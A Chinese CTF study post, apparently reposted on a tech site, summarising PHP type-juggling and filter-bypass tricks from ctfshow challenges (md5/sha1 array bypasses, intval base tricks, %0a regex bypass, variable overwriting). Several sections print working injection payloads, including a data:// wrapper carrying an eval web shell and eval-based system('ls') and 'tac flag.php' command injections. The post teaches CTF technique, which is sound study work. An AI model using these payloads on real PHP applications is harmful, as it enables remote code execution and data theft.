IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP特性小总结 -> 正文阅读

[PHP知识库]PHP特性小总结

内容不全,后续会持续更新此篇,大多题目来源于ctfshow

目录

最常见的

md5碰撞

数组

弱类型

十六进制/八进制/二进制

e/科学计数法

常用绕过姿势

其他

%0a

三个and连用/三个&

extract()

sha1()

trim()


最常见的

md5碰撞

没啥可说的了,直接看个例子

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "ctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

直接payload,只要md5加密后为0e开头就可以

?a=240610708

数组

1.intval函数处理后会进行产生错误,空的array返回0,非空的array返回1

em:

include("flag.php");
highlight_file(__FILE__);
?
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

这里要让我们传入一个get参数num,并且num被禁用的数字,还要让我们为一个数字才会返回flag

这里就可以使用数组,intval处理一个数组对象时,会返回1

?num[]=1

2.md5处理,比较两个值不等,md5值相等时,可以使用数组

em:

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

很明显要让a和b不相等,然后md5的值相等,得到flag

?a[]=1&b[]=2

弱类型

首先有三个“=”,然后会进行对比,然后php为弱类型语言

em:

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题目意思就是让我们传入一个get参数num,不能等于4476,然后intval进行截取值要等于4476

?num=4476a

十六进制/八进制/二进制

该方式常利用在替换数字

em:

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

主要的意思就是让我们构造一个数要为4476

我们可以使用十六进制和八进制

?num=0x117c
?num=010574

有时题目禁用了字母我们就只能用八进制了

em:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

可以直接使用八进制

?num=010574

e/科学计数法

1.科学计数法的第一个用法就是数学乘法

em:

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/1314/", $num)){
        die("hacker!!!");
    }
    if($num==1314){
        echo $flag;
    }
}
?>
?num=1.134e3

2.第二个作用就是与intval配合

含有e的数值,在被引号括起来时,会返回e前面的数值。之后进行加一,会强制类型转换为数字类型

'2e4'返回2
'2e4'+1返回20001

常用绕过姿势

?file=data://text/plain,<?=eval($_POST[1])?>
POST:1=system("tac flag.php")
?c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php'); //p

其他

%0a

换页符,一般用在匹配绕过

em:

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

在这里,第一个匹配是匹配全文,是否有php,第二个匹配是匹配第一行是否有php

?cmd=%0aphp

三个and连用/三个&

在判断语句中,三个and连用,只需满足第一个即可,三个&需要都满足

em:

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?
?
?>

在$v0呐要等于后面那一窜

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a);  返回true
?
$a=true && false && false;
var_dump($a);  返回false

所以只需要v1为数字就可以让v0为true

payload:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');

extract()

em:

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?
?>
你还想要flag嘛?

这个题考察的就是变量覆盖,利用了下面这句话

if(!($_POST['flag']==$flag)){
    die($error);
}

我们可以让post传参为flag,就将会输出error,然后再让error为flag,

GET:?suces=flag  POST:error=suces

sha1()

与md5相似可以直接数组绕过

em:

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
GET:?v2[]=1
POST:v1[]=2

trim()

trim函数的绕过

语法:
trim(string,charlist)
?
string 规定检查的字符串
charlist 可选规定从字符串中删除那些字符。如果省略该参数,则移除下列所以字符
?
"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-01 16:36:51  更:2021-10-01 16:37:13 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 4:08:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计